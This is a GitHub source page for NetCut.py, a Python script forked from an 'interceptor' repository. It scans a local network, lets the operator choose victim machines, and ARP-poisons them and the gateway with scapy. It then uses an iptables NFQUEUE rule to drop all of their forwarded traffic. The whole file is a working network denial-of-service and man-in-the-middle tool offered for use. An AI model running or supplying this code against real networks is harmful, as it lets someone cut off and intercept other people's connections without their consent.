forked from Divyansh2512/interceptor
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathNetCut.py
More file actions
150 lines (124 loc) · 4.09 KB
/
NetCut.py
File metadata and controls
150 lines (124 loc) · 4.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#! /usr/bin/python3
import scapy.all as scapy
import os
import subprocess
import netifaces
import netfilterqueue
import threading
import sys
import time
from termcolor import colored
def has_root():
return os.geteuid() == 0
def gateway_address():
gateways = netifaces.gateways()
default_address = gateways["default"][netifaces.AF_INET][0]
return default_address
def connected_clients(gateway_address, ip_range):
arp_request = scapy.ARP(pdst=ip_range)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
response = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
clients = []
for client in response:
client_info = {"ip" : client[1].psrc, "mac" : client[1].src}
clients.append(client_info)
return clients
class ARPSpoof:
def __init__(self, target, ip_range, gateway):
self._to_spoof = False
self.target = target
self.gateway = gateway
def send_spoof_packet(self, target, spoof_ip):
packet = scapy.ARP(
op=2,
pdst=target["ip"],
hwdst=target["mac"],
psrc=spoof_ip
)
scapy.send(packet, verbose=False)
def send_unspoof_packet(self, target, source):
packet = scapy.ARP(
op=2,
pdst=target["ip"],
hwdst=target["mac"],
psrc=source["ip"],
hwsrc=source["mac"]
)
scapy.send(packet, verbose=False)
def start(self, threaded=True):
self._to_spoof = True
if threaded:
t = threading.Thread(target=self._start)
t.start()
return t
else:
self._start()
def _start(self):
while True:
if not self._to_spoof:
break
self.send_spoof_packet(self.target, self.gateway["ip"])
self.send_spoof_packet(self.gateway, self.target["ip"])
time.sleep(1)
def stop(self):
self._to_spoof = False
time.sleep(1)
self.send_unspoof_packet(self.target, self.gateway)
self.send_unspoof_packet(self.gateway, self.target)
def prompt_for_targets(clients):
for i, client in enumerate(clients, 1):
info = "[{index}]\t\t{ip_addr}\t\t{mac_addr}".format(
index=i,
ip_addr=client["ip"],
mac_addr=client["mac"]
)
print(colored(info, "cyan"))
indices = input(colored("NetCut>", "red", attrs=["bold"]))
if not indices:
return []
indices = map(int, indices.split(","))
targets = [clients[index-1] for index in indices]
return targets
class InternetControl:
def __init__(self):
self.targets = []
def add_target(self, target):
self.targets.append(target)
def deny(self, threaded=True):
subprocess.call(["iptables", "-I", "FORWARD", "-j", "NFQUEUE", "--queue-num", "0"])
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, lambda packet: packet.drop())
for target in self.targets:
target.start()
if threaded:
t = threading.Thread(target=queue.run)
t.start()
return t
else:
queue.run()
def restore(self):
for target in self.targets:
target.stop()
subprocess.call(["iptables", "--flush"])
if __name__ == '__main__':
if not has_root():
print(colored("[-] Please run as Root... Quitting!!", "red"))
sys.exit(1)
print(colored("[+] Running as Root", "green"))
gateway_ip = gateway_address()
print(colored("[+] Gateway IP: {}".format(gateway_ip), "red"))
ip_range = "192.168.1.0/24"
clients = connected_clients(gateway_ip, ip_range)
gateway = clients[0]
targets = prompt_for_targets(clients[1:])
network = InternetControl()
for target in targets:
print(colored("[+] Spoofing Target: {}", "green").format(target["ip"]))
network.add_target(ARPSpoof(target, ip_range, gateway))
try:
network.deny(threaded=False)
except KeyboardInterrupt:
pass
finally:
network.restore()